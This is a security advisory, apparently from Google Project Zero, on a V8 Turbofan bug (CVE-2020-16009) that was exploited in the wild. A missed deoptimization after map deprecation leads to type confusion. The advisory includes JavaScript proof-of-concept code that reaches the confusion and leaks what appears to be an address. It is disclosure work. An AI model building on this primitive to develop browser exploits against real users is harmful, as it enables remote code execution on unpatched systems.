V8: Turbofan fails to deoptimize code after map deprecation, leading to type confusion

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

VULNERABILITY DETAILS

When turbofan compiles code that performs a Map transition, it usually installs a CodeDependency so that the resulting code is deoptimized should the target Map ever be deprecated (meaning that the code should now transition to a different Map). This is done through the TransitionDependencyOffTheRecord function [1]. This function will only install the dependency if the target Map can be deprecated, which is determined by Map::CanBeDeprecated [2], shown next

    bool Map::CanBeDeprecated() const {
      for (InternalIndex i : IterateOwnDescriptors()) {
        PropertyDetails details = instance_descriptors(kRelaxedLoad).GetDetails(i);
        if (details.representation().IsNone()) return true;
        if (details.representation().IsSmi()) return true;
        if (details.representation().IsDouble() && FLAG_unbox_double_fields)        <---
          return true;
        if (details.representation().IsHeapObject()) return true;
        if (details.kind() == kData && details.location() == kDescriptor) {
          return true;
        }
      }
      return false;
    }

As can be seen, this function assumes that a Map storing only fields of type Double or Tagged can not be deprecated if FLAG_unbox_double_fields is false, which is the case if pointer compression is enabled (the default on x64). This appears to be incorrect, as the following code demonstrated:

    // Requires --nomodify-field-representation-inplace

    function poc() {
        function hax(o) {
            o.a = 13.37;
        }

        let o1 = {};
        for (let i = 0; i < 100000; i++) {
            let o = i == 1000 ? {} : o1;
            hax(o);
        }

        let o2 = {};
        o2.a = {};
        // Map1 is now deprecated
        // %HaveSameMap(o2, o1) === false

        let o3 = {};
        hax(o3);
        // o3 was now transitioned to a deprecated map
        %DebugPrint(o3);
        // ...
        //  - deprecated_map
    }
    %NeverOptimizeFunction(poc);
    poc();

This code ends up performing a new transition to a deprecated map.

This bug can be exploited when combined with the in-place field generalization mechanism. In short, the idea is to

1. JIT compile a function that performs a transition from map1{a:double} to map2{a:double,b:whatever}
2. Deprecate map2. This does not deoptimize the JIT code since map2 was thought to not be deprecatable
3. In-place generalize map1.a to type tagged. This will not also generalize map2 since it is deprecated.
4. Execute the JIT code. This will effectively transition from map1{a:tagged} to map2{a:double,b:whatever}, which is incorrect and results in a type confusion.

The following code achieves that and causes a check failure in debug builds: \"Debug check failed: value.IsHeapNumber().\" while printing (presumably) an address in release builds.

REPRODUCTION CASE
// Tested on v8 built from current HEAD (dd84c3937058b086b6b7a412ac352179e20bd9c7)
// Requires --allow-natives-syntax

function assert(c) {
    if (!c) { throw \"Assertion failed\"; }
}

function assertFalse(c) {
    assert(!c);
}

function poc() {
    function hax(o) {
        o.c = 13.37;
    }

    function makeObjWithMap5() {
        let o = {};
        o.a = 13.37;
        o.b = {};
        return o
    }

    // Create a bunch of Maps. See the assertions for their relationships

    let m1 = {};

    let m2 = {};
    assert(%HaveSameMap(m2, m1));
    m2.a = 13.37;

    let m3 = {};
    m3.a = 13.37;
    assert(%HaveSameMap(m3, m2));
    m3.b = 1;

    let m4 = {};
    m4.a = 13.37;
    m4.b = 1;
    assert(%HaveSameMap(m4, m3));
    m4.c = {};

    let m4_2 = {};
    m4_2.a = 13.37;
    m4_2.b = 1;
    m4_2.c = {};
    assert(%HaveSameMap(m4_2, m4));

    let m5 = {};
    m5.a = 13.37;
    assert(%HaveSameMap(m5, m2));
    m5.b = 13.37;
    assertFalse(%HaveSameMap(m5, m3));

    // At this point, Map3 and Map4 are both deprecated. Map2 transitions to Map5.
    // Map5 is the migration target for Map3. The Migration target for Map4 is a new Map
    assertFalse(%HaveSameMap(m5, m3));

    let m6 = makeObjWithMap5();
    assert(%HaveSameMap(m6, m5));
    hax(m6);

    let kaputt = makeObjWithMap5();
    assert(%HaveSameMap(kaputt, m5));

    for (let i = 0; i < 100000; i++) {
        let o = i == 1337 ? makeObjWithMap5() : m6;
        hax(o);
    }

    // Map4 is deprecated, so this property access triggers a Map migration.
    // This will end up creating a new Map, Map7, to which both Map4 and Map6
    // migrate. Map5's transition entry afterwards points to Map7 and no
    // longer to Map6. Map6 is deprecated.
    let m7 = m4_2;
    assert(%HaveSameMap(m7, m4));
    m7.c;
    assertFalse(%HaveSameMap(m7, m4));

    // However, hax was not deoptimized and still transitions to Map6 because
    // Map::CanBeDeprecated returns false for it.

    // This does a in-place map generalization of Map5 and Map7, but not Map6.
    // Map6 still indicates that .a should be a double field.
    kaputt.a = \"asdf\";
    assert(%HaveSameMap(kaputt, m5));

    // This now migrates to the wrong map (Map6) because hax was not deoptimized.
    // This is incorrect because .a now stores a HeapObject and not a double.
    hax(kaputt);

    // This now fails in debug builds
    %HeapObjectVerify(kaputt);

    // This prints (presumably) an address in release builds
    console.log(kaputt.a);
}
%NeverOptimizeFunction(poc);

poc();


CREDIT INFORMATION
Clement Lecigne of Google's Threat Analysis Group and Samuel Gro\u00df of Google Project Zero

NOTE: We have evidence that the following bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline.

[1] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/compiler/compilation-dependencies.cc;l=641;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1
[2] https://source.chromium.org/chromium/chromium/src/+/master:v8/src/objects/map-inl.h;l=563;drc=b4ed955a8e69c4f5fad8fc5ead483571298f1a81;bpv=1;bpt=1


Related CVE Numbers: CVE-2020-16009.



Found by: saelo@google.com